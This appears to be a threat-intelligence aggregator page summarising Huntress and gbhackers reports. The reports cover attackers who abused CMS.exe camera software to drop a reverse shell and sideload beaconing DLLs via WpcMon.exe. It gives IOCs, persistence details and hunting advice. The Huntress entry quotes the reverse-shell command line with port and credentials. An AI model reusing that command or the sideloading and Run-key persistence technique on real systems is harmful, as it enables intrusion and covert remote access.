Threat actor abuses compromised CMS.exe camera management software to deploy reverse shell and WpcMon.exe DLL-sideloaded beacon to C2 144.172.116[.]37

Linha do tempo

1. gbhackers.com ↗ · pub. 28/10/2026 06:28 · coletado 28/10 07:00

   Attackers hijack CMS.exe camera management software to deploy reverse shell and DLL sideloading malware via WpcMon.exe

   ler a análise desta fonte ocultar

   Huntress observed several intrusions in September and October 2026 in which attackers compromised CMS.exe, a camera management application installed under C:\Program Files (x86)\CMS\, to gain remote access to enterprise environments. After compromise, the attackers dropped a reverse shell, sideloaded malicious DLLs through a legitimate Windows binary, and set up persistence. Investigators could not determine the software's vendor or how the initial compromise happened because application logs were missing and the executable had no File Version Information. All affected endpoints contacted the same C2 address, 144.172.116[.]37.

   Technical Details

   • CMS.exe contained the strings developerslavery, an obfuscated variant of it, and a reference to cloudapi.3r-dataware[.]com/sso/. Matching strings and the same domain appeared in a CMS package on kvision[.]ai. Domain registration pointed to Korean company 3R Global, but Huntress cautioned that this does not establish a vendor relationship or prove victims downloaded the software from that site.
   • The attackers dropped rs.win32.exe into C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\. Its arguments specified a remote IP, port 8000, configuration parameters and credentials including the username admin. Huntress assessed this as reverse-shell activity.
   • A legitimate copy of Microsoft's Windows Parental Control Monitor, WpcMon.exe (verified by SHA256), was placed in C:\Users\<user>\AppData\Local\Microsoft\WpcMon\ instead of System32. It sideloaded the attacker-controlled IPHLPAPI.DLL and samcli.dll, which looked like zlib libraries modified to add beaconing.
   • Persistence was set through a Run registry key value pointing to the relocated WpcMon.exe. The observed process chain was CMS.exe, rs.win32.exe, then WpcMon.exe.
   • Huntress published SHA256 hashes for rs.win32.exe and both malicious DLLs.

   Remediation

   • Inventory camera management applications, restrict access to them, and monitor their execution and outbound traffic.
   • Use application controls to block unapproved executables and DLLs in user-writable directories.
   • Hunt for the CMS.exe, rs.win32.exe, WpcMon.exe process chain, WpcMon.exe outside System32, new Run key entries, and connections to the reported C2.
   • Use the published SHA256 hashes for retrospective endpoint searches.
2. huntress.com ↗ · pub. 27/10/2026 10:00 · coletado 28/10 05:00 primeiro registro

   Threat actor compromises camera management software (CMS.exe) to deploy DLL-sideloaded beacon to C2 144.172.116[.]37

   ler a análise desta fonte ocultar

   In September and October 2026, Huntress observed several incidents in which a threat actor used a compromised legitimate camera management system (CMS.exe) as the initial access vector. After compromise, the actor dropped rs.win32.exe, which Huntress assessed as a reverse shell, and then used the legitimate Microsoft binary WpcMon.exe to sideload modified zlib DLLs that beacon to the C2 at 144.172.116[.]37. Huntress could not determine the software's vendor or how the application was compromised, because no application logs were available and the binary had no version information. The activity was seen across multiple customer environments. Attribution to a named actor is not provided.

   Technical Details

   • Initial access: compromise of CMS.exe (C:\Program Files (x86)\CMS\CMS.exe). The exact method is unknown.
   • The binary contains the strings d3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6 and hxxp://cloudapi.3r-dataware[.]com/sso/. The domain points to a Korean company, 3R Global. A "CMS" package on kvision[.]ai contains the same strings. Huntress presents this only as a possible source, not a confirmed vendor relationship.
   • Post-compromise, rs.win32.exe was dropped in C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\ and run as rs.win32.exe -i "<IP>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321".
   • The legitimate WpcMon.exe (Windows Parental Control Monitor) was placed in C:\Users\<user>\AppData\Local\Microsoft\WpcMon\, outside its normal System32 location.
   • DLL sideloading: the malicious IPHLPAPI.DLL and samcli.dll, which look like zlib libraries, were modified to beacon periodically to the C2.
   • Persistence: a value under the user's Run registry key points to WpcMon.exe.
   • In all incidents the C2 was 144.172.116[.]37.

   Remediation

   • Inventory camera management platforms, restrict their access and monitor them as potential entry points.
   • Use application control to block unapproved executables and DLLs in user-writable paths.
   • Hunt for the sequence CMS.exe, rs.win32.exe, WpcMon.exe running from AppData, and unapproved outbound connections, including to 144.172.116[.]37.